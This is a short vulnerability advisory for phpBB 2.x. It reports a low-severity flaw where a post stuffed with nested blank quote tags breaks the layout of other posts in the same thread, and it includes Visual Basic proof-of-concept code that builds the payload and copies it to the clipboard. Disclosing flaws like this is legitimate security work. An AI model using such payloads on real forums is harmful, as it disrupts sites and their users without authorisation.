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- Affected Software: phpBB 2.x (tested on 2.0.4 and 2.0.8, untested on later versions)
- Vulnerability: flaw in code handling the quoting of posts.
- Severity: Low
-
- Discovered by: Matt Benenati <darkk88[AT]gmail.com>
-
- +Details+
- =========
-
- This flaw could allow a malicious user
- to alter the alignment and layout of any posts in the same thread as the exploit post.
-
- The exploit just involves using an absurd amount of blank quotes in a single post.
-
- +Exploit Code+
- =============
-
- 'phpBB Quote Exploit
- 'Copyright (C) 2004 by Matt Benenati
- '
- 'text is automaticly copied to the windows clipboard
- 'user just has to paste the text into a post to execute the exploit
- Private Sub Command1_Click()
- Dim xptext As String
- Dim num1 As Integer, num2 As Integer, num3 As Integer, num4 As Integer
- num1% = 0
- num2% = 100
- num3% = 0
- num4% = 100
- 1: xptext$ = xptext$ & "[quote]"
- num1% = num1% + 1
- If num1% = num2% Then GoTo 2 Else GoTo 1
- 2: xptext$ = xptext$ & "[/quote]"
- num3% = num3% + 1
- If num3% = num4% Then GoTo 3 Else GoTo 2
- 3: Clipboard.Clear
- Clipboard.SetText xptext$
- End Sub
-
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-